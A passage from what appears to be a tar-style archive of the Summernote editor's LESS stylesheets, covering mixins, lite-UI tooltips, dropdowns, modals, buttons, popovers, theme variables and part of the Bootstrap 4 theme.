overwrite BS's form-horizontal minus margins */ margin-left: 0; margin-right: 0; } .note-modal-form { margin: 0; /* overwrite BS2's form margin bottom */ } .note-image-dialog { .note-dropzone { min-height: 100px; font-size: 30px; line-height: 4; /* vertical-align */ color: lightgray; text-align: center; border: 4px dashed lightgray; margin-bottom: 10px; } } // [workaround] firefox fileinput @-moz-document url-prefix() { .note-image-input { height: auto; } } } /* Placeholder ------------------------------------------*/ .note-placeholder { position: absolute; display: none; color: gray; } /* Handle ------------------------------------------*/ .note-handle { /* control selection */ .note-control-selection { position: absolute; display: none; border: 1px solid #000; &>div { position: absolute; } .note-control-selection-bg { width: 100%; height: 100%; background-color: #000; .opacity(0.30) } .note-control-handle { width: 7px; height: 7px; border: 1px solid #000; } .note-control-holder { .note-control-handle; } .note-control-sizing { .note-control-handle; background-color: #fff; } .note-control-nw { top: -5px; left: -5px; border-right: none; border-bottom: none; } .note-control-ne { top: -5px; right: -5px; border-bottom: none; border-left: none; } .note-control-sw { bottom: -5px; left: -5px; border-top: none; border-right: none; } .note-control-se { right: -5px; bottom: -5px; cursor: se-resize; } .note-control-se.note-control-holder { cursor: default; border-top: none; border-left: none; } .note-control-selection-info { right: 0; bottom: 0; padding: 5px; margin: 5px; color: #fff; background-color: #000; font-size: 12px; .rounded(5px); .opacity(0.7); } } } .note-hint-popover { min-width: 100px; padding: 2px; .popover-content { padding: 3px; max-height: 150px; overflow: auto; .note-hint-group { .note-hint-item { display: block !important; padding: 3px; &.active, &:hover { display: block; clear: both; font-weight: 400; line-height: 1.4; color: #fff; white-space: nowrap; text-decoration: none; background-color: #428bca; outline: 0; cursor: pointer; } } } } } less/elements.less000064400000013325151677272030010234 0ustar00.gradient(@color: #F5F5F5, @start: #EEE, @stop: #FFF) { background: @color; background: -webkit-gradient(linear, left bottom, left top, color-stop(0, @start), color-stop(1, @stop)); background: -ms-linear-gradient(bottom, @start, @stop); background: -moz-linear-gradient(center bottom, @start 0%, @stop 100%); background: -o-linear-gradient(@stop, @start); filter: e(%("progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)",@stop,@start)); } .bw-gradient(@color: #F5F5F5, @start: 0, @stop: 255) { background: @color; background: -webkit-gradient(linear, left bottom, left top, color-stop(0, rgb(@start,@start,@start)), color-stop(1, rgb(@stop,@stop,@stop))); background: -ms-linear-gradient(bottom, rgb(@start,@start,@start) 0%, rgb(@stop,@stop,@stop) 100%); background: -moz-linear-gradient(center bottom, rgb(@start,@start,@start) 0%, rgb(@stop,@stop,@stop) 100%); background: -o-linear-gradient(rgb(@stop,@stop,@stop), rgb(@start,@start,@start)); filter: e(%("progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)",rgb(@stop,@stop,@stop),rgb(@start,@start,@start))); } .bordered(@top-color: #EEE, @right-color: #EEE, @bottom-color: #EEE, @left-color: #EEE) { border-top: solid 1px @top-color; border-left: solid 1px @left-color; border-right: solid 1px @right-color; border-bottom: solid 1px @bottom-color; } .drop-shadow(@x-axis: 0, @y-axis: 1px, @blur: 2px, @alpha: 0.1) { -webkit-box-shadow: @x-axis @y-axis @blur rgba(0, 0, 0, @alpha); -moz-box-shadow: @x-axis @y-axis @blur rgba(0, 0, 0, @alpha); box-shadow: @x-axis @y-axis @blur rgba(0, 0, 0, @alpha); } .rounded(@radius: 2px) { -webkit-border-radius: @radius; -moz-border-radius: @radius; border-radius: @radius; } .border-radius(@topright: 0, @bottomright: 0, @bottomleft: 0, @topleft: 0) { -webkit-border-top-right-radius: @topright; -webkit-border-bottom-right-radius: @bottomright; -webkit-border-bottom-left-radius: @bottomleft; -webkit-border-top-left-radius: @topleft; -moz-border-radius-topright: @topright; -moz-border-radius-bottomright: @bottomright; -moz-border-radius-bottomleft: @bottomleft; -moz-border-radius-topleft: @topleft; border-top-right-radius: @topright; border-bottom-right-radius: @bottomright; border-bottom-left-radius: @bottomleft; border-top-left-radius: @topleft; .background-clip(padding-box); } .opacity(@opacity: 0.5) { -webkit-opacity: @opacity; -khtml-opacity: @opacity; -moz-opacity: @opacity; opacity: @opacity; @opperc: @opacity * 100; -ms-filter: ~"progid:DXImageTransform.Microsoft.Alpha(opacity=@{opperc})"; filter: ~"alpha(opacity=@{opperc})"; } .transition-duration(@duration: 0.2s) { -moz-transition-duration: @duration; -webkit-transition-duration: @duration; -o-transition-duration: @duration; transition-duration: @duration; } .transform(...) { -webkit-transform: @arguments; -moz-transform: @arguments; -o-transform: @arguments; -ms-transform: @arguments; transform: @arguments; } .rotation(@deg:5deg){ .transform(rotate(@deg)); } .scale(@ratio:1.5){ .transform(scale(@ratio)); } .transition(@duration:0.2s, @ease:ease-out) { -webkit-transition: all @duration @ease; -moz-transition: all @duration @ease; -o-transition: all @duration @ease; transition: all @duration @ease; } .inner-shadow(@horizontal:0, @vertical:1px, @blur:2px, @alpha: 0.4) { -webkit-box-shadow: inset @horizontal @vertical @blur rgba(0, 0, 0, @alpha); -moz-box-shadow: inset @horizontal @vertical @blur rgba(0, 0, 0, @alpha); box-shadow: inset @horizontal @vertical @blur rgba(0, 0, 0, @alpha); } .box-shadow(@arguments) { -webkit-box-shadow: @arguments; -moz-box-shadow: @arguments; box-shadow: @arguments; } .box-sizing(@sizing: border-box) { -ms-box-sizing: @sizing; -moz-box-sizing: @sizing; -webkit-box-sizing: @sizing; box-sizing: @sizing; } .user-select(@argument: none) { -webkit-user-select: @argument; -moz-user-select: @argument; -ms-user-select: @argument; user-select: @argument; } .columns(@colwidth: 250px, @colcount: 0, @colgap: 50px, @columnRuleColor: #EEE, @columnRuleStyle: solid, @columnRuleWidth: 1px) { -moz-column-width: @colwidth; -moz-column-count: @colcount; -moz-column-gap: @colgap; -moz-column-rule-color: @columnRuleColor; -moz-column-rule-style: @columnRuleStyle; -moz-column-rule-width: @columnRuleWidth; -webkit-column-width: @colwidth; -webkit-column-count: @colcount; -webkit-column-gap: @colgap; -webkit-column-rule-color: @columnRuleColor; -webkit-column-rule-style: @columnRuleStyle; -webkit-column-rule-width: @columnRuleWidth; column-width: @colwidth; column-count: @colcount; column-gap: @colgap; column-rule-color: @columnRuleColor; column-rule-style: @columnRuleStyle; column-rule-width: @columnRuleWidth; } .translate(@x:0, @y:0) { .transform(translate(@x, @y)); } .background-clip(@argument: padding-box) { -moz-background-clip: @argument; -webkit-background-clip: @argument; background-clip: @argument; } less/summernote-lite.less000064400000030335151677272030011551 0ustar00@import "elements.less"; @import "../icons/dist/summernote.less"; @import "lite-ui/all.less"; /* Theme Variables ------------------------------------------*/ @border-color: #a9a9a9; @background-color: #f5f5f5; /* Layout ------------------------------------------*/ .note-editor { position: relative; /* dropzone */ @dropzone-color: lightskyblue; @dropzone-active-color: darken(@dropzone-color, 30); .note-dropzone { position: absolute; display: none; z-index: 100; color: @dropzone-color; background-color: #fff; opacity: 0.95; pointer-event: none; .note-dropzone-message { display: table-cell; vertical-align: middle; text-align: center; font-size: 28px; font-weight: 700; } &.hover { color: @dropzone-active-color; } } &.dragover .note-dropzone { display: table; } .note-editing-area { position: relative; p { margin: 0 0 10px; } .note-editable { outline: none; table { width:100%; border-collapse: collapse; td,th { border:1px solid #ececec; padding:5px 3px; } } sup { vertical-align: super; } sub { vertical-align: sub; } a { background-color: inherit; text-decoration: inherit; font-family: inherit; font-weight: inherit; color: #337ab7; } a:hover, a:focus { color: #23527c; text-decoration: underline; outline: 0; } figure { margin: 0; } } } } /* Frame mode layout ------------------------------------------*/ .note-editor.note-frame { border: 1px solid @border-color; /* codeview mode */ &.codeview { .note-editing-area { .note-editable { display: none; } .note-codable { display: block; } } } .note-editing-area { overflow: hidden; /* editable */ .note-editable { background-color: #fff; color: #000; padding: 10px; overflow: auto; word-wrap: break-word; &[contenteditable="false"] { background-color: #e5e5e5; } } /* codeable */ .note-codable { display: none; width: 100%; padding: 10px; border: none; box-shadow: none; font-family: Menlo, Monaco, monospace, sans-serif; font-size: 14px; color: #ccc; background-color: #222; resize: none; /* override BS2 default style */ .box-sizing(border-box); .rounded(0); margin-bottom: 0; } } /* fullscreen mode */ &.fullscreen { position: fixed; top: 0; left: 0; width: 100% !important; z-index: 1050; /* bs3 modal-backdrop: 1030, bs2: 1040 */ .note-editable { background-color: #fff; } .note-resizebar { display: none; } } /* Notification */ .note-status-output { display: block; width: 100%; font-size: 14px; line-height: 1.42857143; height: 20px; margin-bottom: 0; color: #000; border: 0; border-top: 1px solid #e2e2e2; } .note-status-output:empty { height: 0; border-top:0 solid transparent } .note-status-output .pull-right { float: right !important } .note-status-output .text-muted { color: #777 } .note-status-output .text-primary { color: #286090 } .note-status-output .text-success { color: #3c763d } .note-status-output .text-info { color: #31708f } .note-status-output .text-warning { color: #8a6d3b } .note-status-output .text-danger { color:#a94442 } .note-status-output .alert { margin: -7px 0 0 0; padding: 7px 10px 2px 10px; border-radius: 0; color: #000; background-color: #f5f5f5; } .note-status-output .alert .note-icon{ margin-right:5px } .note-status-output .alert-success { color: #3c763d !important; background-color: #dff0d8 !important; } .note-status-output .alert-info { color: #31708f !important; background-color: #d9edf7 !important; } .note-status-output .alert-warning { color: #8a6d3b !important; background-color: #fcf8e3 !important; } .note-status-output .alert-danger { color: #a94442 !important; background-color: #f2dede !important; } /* statusbar */ .note-statusbar { background-color: @background-color; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top: 1px solid #ddd; .note-resizebar { padding-top: 1px; height: 9px; width: 100%; cursor: ns-resize; .note-icon-bar { width: 20px; margin: 1px auto; border-top: 1px solid @border-color; } } &.locked { .note-resizebar { cursor: default; .note-icon-bar { display: none; } } } } .note-placeholder { padding: 10px; } } /* Popover ------------------------------------------*/ .note-popover { max-width: none; .note-popover-content { a { display: inline-block; max-width: 200px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; /* for FF */ vertical-align: middle; /* for FF */ } } .note-popover-arrow { left: 20px !important; } } /* Popover and Toolbar (Button container) ------------------------------------------*/ .note-popover .note-popover-content, .note-toolbar { margin: 0; padding: 0 0 5px 5px; background-color: #fff; &>.note-btn-group { margin-top: 5px; margin-left: 0; margin-right: 5px; } .note-btn-group { .note-table { min-width: 0; padding: 5px; .note-dimension-picker { font-size: 18px; .note-dimension-picker-mousecatcher { position: absolute !important; z-index: 3; width: 10em; height: 10em; cursor: pointer; } .note-dimension-picker-unhighlighted { position: relative !important; z-index: 1; width: 5em; height: 5em; background: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASAgMAAAAroGbEAAAACVBMVEUAAIj4+Pjp6ekKlAqjAAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfYAR0BKhmnaJzPAAAAG0lEQVQI12NgAAOtVatWMTCohoaGUY+EmIkEAEruEzK2J7tvAAAAAElFTkSuQmCC') repeat; } .note-dimension-picker-highlighted { position: absolute !important; z-index: 2; width: 1em; height: 1em; background: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASAgMAAAAroGbEAAAACVBMVEUAAIjd6vvD2f9LKLW+AAAAAXRSTlMAQObYZgAAAAFiS0dEAIgFHUgAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfYAR0BKwNDEVT0AAAAG0lEQVQI12NgAAOtVatWMTCohoaGUY+EmIkEAEruEzK2J7tvAAAAAElFTkSuQmCC') repeat; } } } } .note-style { h1, h2, h3, h4, h5, h6, blockquote { margin: 0; } } .note-color { .dropdown-toggle { width: 20px; padding-left: 5px; } .note-dropdown-menu { -webkit-box-sizing: content-box; -moz-box-sizing: content-box; box-sizing: content-box; min-width: 346px; .note-palette { display: inline-block; margin: 0; width: 160px; &:first-child { margin: 0 5px; margin-right:15px; } .note-palette-title { font-size: 12px; margin: 2px 7px; text-align: center; border-bottom: 1px solid #eee; } .note-color-reset { margin: 3px; padding: 2px 3px; width: 100%; cursor: pointer; .rounded(5px); background-color: #fff; border:0; } .note-color-row { height: 20px; } .note-color-reset:hover { background: #eee; } } } } .note-para { .note-dropdown-menu { min-width: 216px; padding: 5px; &>div:first-child { margin-right: 5px; } } } .note-btn-fontname { .note-dropdown-menu { min-width: 200px; } } /* dropdown-menu for toolbar and popover */ .note-dropdown-menu { min-width: 160px; /* dropdown-menu right position */ /* http://forrst.com/posts/Bootstrap_right_positioned_dropdown-2KB */ &.right { right: 0; left: auto; &::before { right: 9px; left: auto !important; } &::after { right: 10px; left: auto !important; } } /* dropdown-menu for selectbox */ &.note-check { .note-dropdown-item i { color: deepskyblue; visibility: hidden; } .note-dropdown-item.checked i { visibility: visible; } } .note-dropdown-item > * { margin: 0; } } .note-fontsize-10 { font-size: 10px; } /* color palette for toolbar and popover */ .note-color-palette { line-height: 1; div { .note-color-btn { width: 20px; height: 20px; padding: 0; margin: 0; border: 1px solid #fff; } .note-color-btn:hover { border: 1px solid #000; } } } } /* Dialog ------------------------------------------*/ .note-modal { .note-modal-body { label { margin-bottom: 2px; padding: 2px 5px; display: inline-block; } .help-list-item:hover { background-color: #e0e0e0; } } // [workaround] firefox fileinput @-moz-document url-prefix() { .note-image-input { height: auto; } } } /* Placeholder ------------------------------------------*/ .note-placeholder { position: absolute; display: none; color: gray; } /* Handle ------------------------------------------*/ .note-handle { /* control selection */ .note-control-selection { position: absolute; display: none; border: 1px solid black; &>div { position: absolute; } .note-control-selection-bg { width: 100%; height: 100%; background-color: #000; .opacity(0.30) } .note-control-handle { width: 7px; height: 7px; border: 1px solid #000; } .note-control-holder { .note-control-handle; } .note-control-sizing { .note-control-handle; background-color: #fff; } .note-control-nw { top: -5px; left: -5px; border-right: none; border-bottom: none; } .note-control-ne { top: -5px; right: -5px; border-bottom: none; border-left: none; } .note-control-sw { bottom: -5px; left: -5px; border-top: none; border-right: none; } .note-control-se { right: -5px; bottom: -5px; cursor: se-resize; } .note-control-se.note-control-holder { cursor: default; border-top: none; border-left: none; } .note-control-selection-info { right: 0; bottom: 0; padding: 5px; margin: 5px; color: #fff; background-color: #000; font-size: 12px; .rounded(5px); .opacity(0.7); } } } .note-hint-popover { min-width: 100px; padding: 2px; .note-popover-content { padding: 3px; max-height: 150px; overflow: auto; .note-hint-group { .note-hint-item { display: block !important; padding: 3px; &.active, &:hover { display: block; clear: both; font-weight: 400; line-height: 1.4; color: #fff; white-space: nowrap; text-decoration: none; background-color: #428bca; outline: 0; cursor: pointer; } } } } } .help-list-item { label { margin-bottom:5px; display:inline-block; } } less/lite-ui/tooltip.less000064400000003536151677272030011465 0ustar00.note-tooltip { position: absolute; z-index: @zindex-tooltip; display: block; // Our parent element can be arbitrary since tooltips are by default inserted as a sibling of their target element. // So reset our font and text properties to avoid inheriting weird values. font-size: 13px; .opacity(0); &.in { .opacity(@tooltip-opacity); } &.top { margin-top: -3px; padding: @tooltip-arrow-width 0; } &.right { margin-left: 3px; padding: 0 @tooltip-arrow-width; } &.bottom { margin-top: 3px; padding: @tooltip-arrow-width 0; } &.left { margin-left: -3px; padding: 0 @tooltip-arrow-width; } } .note-tooltip { &.bottom .note-tooltip-arrow { top: 0; left: 50%; margin-left: -@tooltip-arrow-width; border-width: 0 @tooltip-arrow-width @tooltip-arrow-width; border-bottom-color: @tooltip-arrow-color; } &.top .note-tooltip-arrow { bottom: 0; left: 50%; margin-left: -@tooltip-arrow-width; border-width: @tooltip-arrow-width @tooltip-arrow-width 0; border-top-color: @tooltip-arrow-color; } &.right .note-tooltip-arrow { top: 50%; left: 0; margin-top: -@tooltip-arrow-width; border-width: @tooltip-arrow-width @tooltip-arrow-width @tooltip-arrow-width 0; border-right-color: @tooltip-arrow-color; } &.left .note-tooltip-arrow { top: 50%; right: 0; margin-top: -@tooltip-arrow-width; border-width: @tooltip-arrow-width 0 @tooltip-arrow-width @tooltip-arrow-width; border-left-color: @tooltip-arrow-color; } } .note-tooltip-arrow { position: absolute; width: 0; height: 0; border-color: transparent; border-style: solid; } .note-tooltip-content { max-width: @tooltip-max-width; padding: 3px 8px; color: @tooltip-color; text-align: center; background-color: @tooltip-bg; }less/lite-ui/dropdown.less000064400000001275151677272030011625 0ustar00.note-dropdown { position: relative; } .note-dropdown-menu { display: none; min-width: 100px; position: absolute; top: 100%; left: 0; z-index : @zindex-dropdown; float: left; text-align:left; background: @dropdown-color-bg; border: 1px solid @dropdown-color-border; padding: 5px; background-clip: padding-box; .box-shadow(0 1px 1px rgba(0,0,0,.06)); } .note-btn-group.open .note-dropdown-menu { display: block; } .note-dropdown-item { display: block; &:hover { background-color: @btn-default-hover-bg; } } a.note-dropdown-item, a.note-dropdown-item:hover { margin: 2px 0; color: #000; text-decoration: none; } less/lite-ui/form.less000064400000001316151677272030010730 0ustar00.note-form-group { padding-bottom: 20px; } .note-form-group:last-child { padding-bottom: 0; } .note-form-label { display: block; font-size: 16px; color: #42515f; margin-bottom: 10px; font-weight: 700; } .note-input { width: 100%; display: block; border: 1px solid #ededef; background: #fff; outline: 0; padding: 6px 4px; font-size: 14px; .box-sizing(); } .note-input::-webkit-input-placeholder { color: @gray-lighter; } .note-input:-moz-placeholder { /* Firefox 18- */ color: @gray-lighter; } .note-input::-moz-placeholder { /* Firefox 19+ */ color: @gray-lighter; } .note-input:-ms-input-placeholder { color: @gray-lighter; } less/lite-ui/modal.less000064400000003100151677272030011052 0ustar00.note-modal { position: absolute; left: 0; right: 0; top: 0; bottom: 0; overflow: hidden; z-index: @zindex-modal; .opacity(1); display: none; &.open { display:block; } } .note-modal-content { position: relative; width: auto; margin: 30px 20px; border: 1px solid @modal-content-border-color; background: @modal-content-bg; background-clip: border-box; outline:0; } .note-modal-header { padding: 30px 20px 20px 20px; border: 1px solid #ededef; .close { margin-top: -10px; } } .note-modal-body { position: relative; padding: 20px 30px; } .note-modal-footer { height: 40px; padding: 10px; text-align: center; } .note-modal-footer a { color: #337ab7; text-decoration: none } .note-modal-footer a:hover, .note-modal-footer a:focus { color: #23527c; text-decoration: underline } .note-modal-footer .note-btn { float: right } .note-modal-title { font-size: 26px; color: #42515f; margin: 0; line-height: 1.4; } .note-modal-backdrop { position: absolute; left: 0; right: 0; bottom: 0; top: 0; z-index: @zindex-modal-background; background: @modal-backdrop-bg; .opacity(0.5); display: none; &.open { display: block; } } // Scale up the modal @media (min-width: 768px) { // Automatically set modal's width for larger viewports .note-modal-content { width: 600px; margin: 30px auto; } } @media (min-width: 992px) { .note-modal-content-large { width: 900px; } } less/lite-ui/btn-group.less000064400000001560151677272030011703 0ustar00.note-btn-group { position: relative; display: inline-block; margin-right: 8px; > .note-btn-group { margin-right: 0; } > .note-btn, > .note-btn-group { margin-left: -4px; border-radius: 0; &.focus, &.active { border-radius:0; } &:first-child { margin-left: 0; border-top-left-radius: 1px; border-bottom-left-radius: 1px; &.focus, &.active { border-top-left-radius: 1px; border-bottom-left-radius: 1px; } } &:last-child:not(.note-dropdown) { border-top-right-radius: 1px; border-bottom-right-radius: 1px; &.focus, &.active { border-top-right-radius: 1px; border-bottom-right-radius: 1px; } } } &.open { > .note-dropdown { display: block; } } }less/lite-ui/mixins/buttons.less000064400000001707151677272030012776 0ustar00// Button variants // // Easily pump out default styles, as well as :hover, :focus, :active, // and disabled options for all buttons .button-maker(@color; @background; @focusBackground; @activeBackground; @border) { color: @color; background-color: @background; border-color: @border; &:focus, &.focus { color: @color; background-color: @focusBackground; border-color: @border; } &:hover { color: @color; background-color: @focusBackground; border-color: @border; } &.disabled, &[disabled], fieldset[disabled] & { &:focus, &.focus { background-color: @background; border-color: @border; } } } // Button sizes .button-size(@padding-vertical; @padding-horizontal; @font-size; @line-height; @border-radius) { padding: @padding-vertical @padding-horizontal; font-size: @font-size; line-height: @line-height; border-radius: @border-radius; } less/lite-ui/toolbar.less000064400000000115151677272030011423 0ustar00.note-toolbar { padding: 10px 5px; border-bottom: 1px solid #e2e2e2; }less/lite-ui/popover.less000064400000005470151677272030011464 0ustar00.note-popover { position: absolute; z-index: @zindex-popover; display: block; // Our parent element can be arbitrary since popovers are by default inserted as a sibling of their target element. // So reset our font and text properties to avoid inheriting weird values. font-size: 13px; display: none; background: @popover-bg; border: 1px solid @popover-border-color; border: 1px solid @popover-fallback-border-color; &.in { display: block; } &.top { margin-top: -3px; padding: 5 0; } &.right { margin-left: 3px; padding: 0 5; } &.bottom { margin-top: 3px; padding: 5 0; } &.left { margin-left: -3px; padding: 0 5; } } .note-popover { &.bottom .note-popover-arrow { top: -11px; left: 50%; margin-left: -@popover-arrow-width; border-top-width: 0; border-bottom-color: @popover-arrow-outer-fallback-color; border-bottom-color: @popover-arrow-outer-color; &::after { top: 1px; margin-left: -10px; content: " "; border-top-width: 0; border-bottom-color: #fff; } } &.top .note-popover-arrow { bottom: -11px; left: 50%; margin-left: -@popover-arrow-width; border-bottom-width: 0; border-top-color: @popover-arrow-outer-fallback-color; border-top-color: @popover-arrow-outer-color; &::after { bottom: 1px; margin-left: -10px; content: " "; border-bottom-width: 0; border-top-color: #fff; } } &.right .note-popover-arrow { top: 50%; left: -11px; margin-top: -@popover-arrow-width; border-left-width: 0; border-right-color: @popover-arrow-outer-fallback-color; border-right-color: @popover-arrow-outer-color; &::after { left: 1px; margin-top: -10px; content: " "; border-left-width: 0; border-right-color: #fff; } } &.left .note-popover-arrow { top: 50%; right: -11px; margin-top: -@popover-arrow-width; border-right-width: 0; border-left-color: @popover-arrow-outer-fallback-color; border-left-color: @popover-arrow-outer-color; &::after { right: 1px; margin-top: -10px; content: " "; border-right-width: 0; border-left-color: #fff; } } } .note-popover-arrow { position: absolute; width: 0; height: 0; border: 11px solid transparent; &::after { position: absolute; display: block; width: 0; height: 0; border-color: transparent; border-style: solid; content : " "; border-width: 10px; } } .note-popover-content { /*max-width: @popover-max-width;*/ padding: 3px 8px; color: @popover-color; text-align: center; background-color: @popover-bg; min-width: 100px; min-height: 30px; }less/lite-ui/all.less000064400000000520151677272030010531 0ustar00// Core variables and mixins @import "../elements.less"; @import "variables.less"; @import "mixins.less"; @import "common.less"; @import "toolbar.less"; @import "btn-group.less"; @import "buttons.less"; @import "dropdown.less"; @import "modal.less"; @import "form.less"; @import "tooltip.less"; @import "popover.less"; less/lite-ui/buttons.less000064400000003725151677272030011471 0ustar00.note-btn { display: inline-block; font-weight: 400; margin-bottom: 0; text-align: center; vertical-align: middle; touch-action: manipulation; cursor: pointer; background-image: none; border: 1px solid @btn-default-border; white-space: nowrap; outline: 0; .button-maker(@btn-default-color; @btn-default-bg; @btn-default-hover-bg; @btn-default-active-bg; @btn-default-border); .button-size(@padding-base-vertical; @padding-base-horizontal; @font-size; @line-height; @btn-border-radius-base); .user-select(none); &:hover, &:focus, &.focus { color: @btn-default-color; text-decoration: none; border: 1px solid @btn-default-border; background-color: @btn-default-hover-bg; outline: 0; .rounded(1px); } &:active, &.active { outline: 0; background-image: none; /*.box-shadow(inset 0 3px 5px rgba(0,0,0,.125));*/ } &.disabled, &[disabled], fieldset[disabled] & { cursor: @cursor-disabled; .opacity(.65); .box-shadow(none); } } .note-btn-primary { background: #fa6362; color: #fff; &:hover, &:focus, &.focus { color: #fff; text-decoration: none; border: 1px solid @btn-default-border; background-color: #fa6362; .rounded(1px); } } .note-btn-block { display: block; width: 100%; } .note-btn-block + .note-btn-block { margin-top:5px; } // Specificity overrides input[type="submit"], input[type="reset"], input[type="button"] { &.note-btn-block { width: 100%; } } button.close { padding: 0; cursor: pointer; background: transparent; border: 0; -webkit-appearance: none; } .close { float: right; font-size: 21px; line-height: 1; color: #000; opacity: .2; } .close:hover { -webkit-opacity: 1; -khtml-opacity: 1; -moz-opacity: 1; -ms-filter: alpha(opacity=100); filter: alpha(opacity=100); opacity: 1 }less/lite-ui/common.less000064400000000516151677272030011256 0ustar00.note-frame * { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; color: #000; } p { margin: 0 0 10px; } // shortcut text style kbd { border-radius: 2px; background-color: #000; color: #fff; padding: 3px 5px; font-weight: 700; .box-sizing(); } less/lite-ui/variables.less000064400000004462151677272030011742 0ustar00 @gray-base: #000; @gray-darker: lighten(@gray-base, 13.5%); // #222 @gray-dark: lighten(@gray-base, 20%); // #333 @gray: lighten(@gray-base, 33.5%); // #555 @gray-light: lighten(@gray-base, 46.7%); // #777 @gray-lighter:lighten(@gray-base, 93.5%); // #eee @font-size: 14px; @font-size-large: ceil((@font-size * 1.25)); @font-size-small: ceil((@font-size * 0.85)); @line-height: 1.4; @line-height-computed: floor((@line-height * @font-size)); @padding-base-vertical: 5px; @padding-base-horizontal: 10px; @border-radius-base: 1px; @btn-border-radius-base: @border-radius-base; @icon-font-path: "../fonts/"; @icon-font-name: "summernote"; @icon-font-svg-id: "summernote"; @btn-font-weight: normal; @btn-default-color : #333; @btn-default-bg: #fff; @btn-default-border: #fff; @btn-default-hover-bg: #ebebeb; @btn-default-active-bg: #f0f0f0; @input-bg: #fff; @input-bg-disabled: @gray-lighter; @input-color: @gray; @input-border: #ccc; @input-border-focus: #66afe9; @input-color-placeholder: #999; @cursor-disabled: not-allowed; @zindex-dropdown: 1000; @zindex-popover:1060; @zindex-tooltip:1070; @zindex-modal-background: 1040; @zindex-modal: 1050; @dropdown-color-bg: #fff; @dropdown-color-border: #e2e2e2; @tooltip-max-width:200px; @tooltip-color: #fff; @tooltip-bg: #000; @tooltip-opacity: .9; @tooltip-arrow-width: 5px; @tooltip-arrow-color: @tooltip-bg; @popover-bg: #ffffff; @popover-color: #000; @popover-max-width: 276px; @popover-border-color: rgba(0,0,0,.2); @popover-fallback-border-color: #ccc; @popover-title-bg: darken(@popover-bg, 3%); @popover-arrow-width: 10px; @popover-arrow-color: @popover-bg; @popover-arrow-outer-width:(@popover-arrow-width + 1); @popover-arrow-outer-color:fadein(@popover-border-color, 5%); @popover-arrow-outer-fallback-color: darken(@popover-fallback-border-color, 20%); @modal-inner-padding: 15px; @modal-title-padding: 15px; @modal-title-line-height: @line-height; @modal-content-bg: #fff; @modal-content-border-color: rgba(0,0,0,.2); @modal-content-fallback-border-color: #999; @modal-backdrop-bg: #000; @modal-backdrop-opacity: .5; @modal-header-border-color: #e5e5e5; @modal-footer-border-color: @modal-header-border-color; less/lite-ui/mixins.less000064400000000036151677272030011272 0ustar00@import "mixins/buttons.less";less/summernote-bs4.less000064400000027475151677272030011317 0ustar00@import "elements.less"; @import "../icons/dist/summernote.less"; /* Theme Variables ------------------------------------------*/ @border-color: #a9a9a9; @background-color: #f5f5f5; @img-margin-left: 10px; @img-margin-right: 10px; /* Layout ------------------------------------------*/ .note-editor { position: relative; /* dropzone */ @dropzone-color: lightskyblue; @dropzone-active-color: darken(@dropzone-color, 30); .note-dropzone { position: absolute; display: none; z-index: 100; color: @dropzone-color; background-color: #fff; opacity: 0.95; .note-dropzone-message { display: table-cell; vertical-align: middle; text-align: center; font-size: 28px; font-weight: 700; } &.hover { color: @dropzone-active-color; } } &.dragover .note-dropzone { display: table; } .note-editing-area { position: relative; .note-editable { outline: none; sup { vertical-align: super; } sub { vertical-align: sub; } } img.note-float-left { margin-right: @img-margin-right; } img.note-float-right { margin-left: @img-margin-left; } } } /* Frame mode layout ------------------------------------------*/ .note-editor.note-frame { border: 1px solid @border-color; /* codeview mode */ &.codeview { .note-editing-area { .note-editable { display: none; } .note-codable { display: block; } } } .note-editing-area { overflow: hidden; /* editable */ .note-editable { background-color: #fff; color: #000; padding: 10px; overflow: auto; word-wrap: break-word; &[contenteditable="false"] { background-color: #e5e5e5; } } /* codeable */ .note-codable { display: none; width: 100%; padding: 10px; border: none; box-shadow: none; font-family: Menlo, Monaco, monospace, sans-serif; font-size: 14px; color: #ccc; background-color: #222; resize: none; /* override BS2 default style */ .box-sizing(border-box); .rounded(0); margin-bottom: 0; } } /* fullscreen mode */ &.fullscreen { position: fixed; top: 0; left: 0; width: 100% !important; z-index: 1050; /* bs3 modal-backdrop: 1030, bs2: 1040 */ .note-editable { background-color: #fff; } .note-resizebar { display: none; } } /* Notifications */ .note-status-output { display: block; width: 100%; font-size: 14px; line-height: 1.42857143; height: 20px; margin-bottom: 0; color: #000; border: 0; border-top: 1px solid #e2e2e2 } .note-status-output:empty { height: 0; border-top:0 solid transparent } .note-status-output .pull-right { float: right !important } .note-status-output .text-muted { color: #777 } .note-status-output .text-primary { color: #286090 } .note-status-output .text-success { color: #3c763d } .note-status-output .text-info { color: #31708f } .note-status-output .text-warning { color: #8a6d3b } .note-status-output .text-danger { color:#a94442 } .note-status-output .alert { margin: -7px 0 0 0; padding: 7px 10px 2px 10px; border-radius: 0; color: #000; background-color: #f5f5f5; } .note-status-output .alert .note-icon{ margin-right: 5px } .note-status-output .alert-success { color: #3c763d !important; background-color: #dff0d8 !important; } .note-status-output .alert-info { color: #31708f !important; background-color: #d9edf7 !important; } .note-status-output .alert-warning { color: #8a6d3b !important; background-color: #fcf8e3 !important; } .note-status-output .alert-danger { color: #a94442 !important; background-color: #f2dede !important; } /* statusbar */ .note-statusbar { background-color: @background-color; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top: 1px solid #ddd; .note-resizebar { padding-top: 1px; height: 9px; width: 100%; cursor: ns-resize; .note-icon-bar { width: 20px; margin: 1px auto; border-top: 1px solid @border-color; } } &.locked { .note-resizebar { cursor: default; .note-icon-bar { display: none; } } } } .note-placeholder { padding: 10px; } } /* Popover ------------------------------------------*/ .note-popover.popover { display: none; max-width: none; .popover-content { a { display: inline-block; max-width: 200px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; /* for FF */ vertical-align: middle; /* for FF */ } } .arrow { left: 20px !important; } } /* Popover and Toolbar (Button container) ------------------------------------------*/ .note-toolbar { z-index: 500; position: relative; } .note-popover .popover-content, .card-header.note-toolbar { margin: 0; 